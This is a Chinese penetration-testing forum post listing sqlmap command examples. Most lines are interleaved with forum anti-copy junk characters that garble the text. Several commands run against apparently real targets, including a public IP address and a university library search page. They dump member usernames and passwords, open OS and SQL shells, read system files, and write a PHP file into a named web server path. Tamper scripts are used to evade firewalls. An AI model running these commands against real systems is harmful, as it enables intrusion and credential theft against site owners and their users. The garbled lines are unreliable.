中国网络渗透测试联盟

标题: sqlmap使用实例 [打印本页]

作者: admin    时间: 2017-5-19 17:03
标题: sqlmap使用实例
/pentest/database/sqlmap
+ F# N7 N8 Z0 X1 f9 m. D5 @: U% ^
: L8 c- x, W) cupdate :::::>     in the folder   after  execute    following   order : svn update
; ]. p% |9 P. H5 ~% Y$ i# o  P# ~7 n( u( l  B5 Q1 X! N2 Z3 t7 Q
sqlmap.py -r 1.txt --current-db; ]) f  `: s1 K; D  P% K1 u
  ?6 |( w- F* F
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”5 C& B3 ^+ K& C- m$ l1 p& P
3 F9 P" J1 e1 c
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))   {8 B; V8 ~5 y% e9 P& k
猜解数据库
, {" e) H/ a( {; Z' g./sqlmap.py -u "injection-url" --dbs8 T  r! ^) W3 x
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
& I/ a2 g( V; ]! u0 [8 D4 c; l  W5 N+ y; T3 c5 o8 ]6 ?  i
猜解表名" Q6 B5 Y, x! Q6 i
./sqlmap.py -u "injection-url" -D database_name --tables' c) B2 n3 k* u$ T5 A
# H! @- K' L4 }/ b* g. A: O7 B
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
& |2 z" ]. i2 k3 G: F* j3 rsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 2 Y& U: v3 F' e- l/ x: {6 s
4 y) N6 s! k2 {' U* B7 U# m3 f
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
( E4 k, ~7 f3 a$ l
& W1 P! f' M+ ?5 t) hsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"/ }3 w% ~3 v/ l$ d4 E, l
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py", B# W, n2 ~& K9 z/ X6 w
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" : r% S' O. a. ~4 K
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"( Z; C! h( U) h4 T

% T# u3 u8 b7 E. Y. D: M' dsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
; q7 ]/ I2 j5 H7 U& wsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"5 v- r7 }2 X2 _& q' M( {
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
6 p, A6 M' Y  x1 Z( Xsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
8 h# N9 m/ \$ R! T6 c/ Jsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
  j; B! a2 t9 s; Y& C# `0 K& u- w' D; s5 N: f' d
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了$ _( ^/ T8 z( N" n
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"5 s5 z' F4 K9 k

9 |% G5 c+ a# G* N0 V, Ssqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"2 |! O% n9 G3 ?4 d% i( l
猜解列名/ r  G, b; S( D
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
) s: n8 k8 s- ]; A% ^: j6 M0 c8 a. a/ z0 J- y" ^" B! h8 ^
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
7 ^9 x. ~) z' e& x2 `5 ~$ m0 dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 0 c0 M- a$ V. f, l! H
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
+ Q, X7 m' t2 Q/ {4 I( {5 t3 _' q. k, R: i- [; ]/ _. f
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"6 [5 ]. \( U$ V3 ]  r$ j* A
&submit=Go
, V* g( K' O* z, P猜解值: M- b( R& V1 `" q3 Z% M1 u6 G
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump& x2 C  ^4 a/ t" D$ L% z
========================================================# K0 c  p, a) g0 `: ?+ r7 C+ K
搜索表名中包括mana字符的
1 T( _$ S& o) v& j* f/sqlmap.py -u "injection-url" -T mana --search+ w) z9 J2 g/ ]  ^3 Z
返回一个交互式sql shell
9 J" \2 s6 E/ }0 j/sqlmap.py -u "injection-url" --sql-shell% ?. s5 t1 ^+ y. l
读取指定文件(需权限)3 K/ q% O; t3 P
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
/ \2 C9 J: g# E, l# V/ x2 Y查看当前 用户 及 数据库
( C: @2 u3 I& g* `; r/sqlmap.py -u "injection-url" --current-user --current-db
% |0 V( ]! R' r5 m. ]本地文件 写入 远程目标绝对路径2 C# s; P% B% _; h; q" \6 u
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
- S0 C5 p* x  y/ n5 Tsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
2 ]4 b) P6 @; n% @. U0 a+ C8 ?1 K' p" j$ s  N0 l
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
$ o; Z. i3 f3 H( y6 C3 g8 y: k查看某用的权限0 h5 X9 |2 k" }! \, [3 L: z
/sqlmap.py -u "injection-url" --privileges -U root
; j  K- B0 H8 e1 l; {* s查看当前用户是否为dba* q9 k* R9 M/ t/ \
/sqlmap.py -u "injection-url" --is-dba
+ p2 @' X* I6 F4 {读取所有数据库用户或指定数据库用户的密码
4 @$ N% R% W7 X# s6 E& ?3 r& Isqlmap.py -r 1.txt --users --passwords
$ k  T$ Z5 z: R1 c: B8 C: P( {sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" - Q9 i' {' s5 W6 }/ Q
9 i- t3 o' {( i6 Y
/sqlmap.py -u "injection-url" --passwords -U root
3 P( |( y. h& f0 ]# I
$ {1 Z1 `' H; C1 x0 y0 X--start&&--stop 与 --first&&--last 的区别
7 i4 A6 r+ y9 t( c6 c/ s9 I0 Y/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
# R! s' T8 Q4 n- `! J1 o' s0 O
1 n+ o& ?, x  _! C# ^从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
% U* U7 j0 [: V. D/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables4 @/ c4 m. B2 q( @3 R
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns0 _" \$ ^  ^& j! M8 t
1 x0 q* o6 c6 {! L& W& R- @
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)* C1 o' n3 Z) f7 v4 b; ]2 M
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"$ E5 n# C" p" e* B4 T* S: p9 y2 R

# O5 h- S7 t, Z) r5 T: e




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2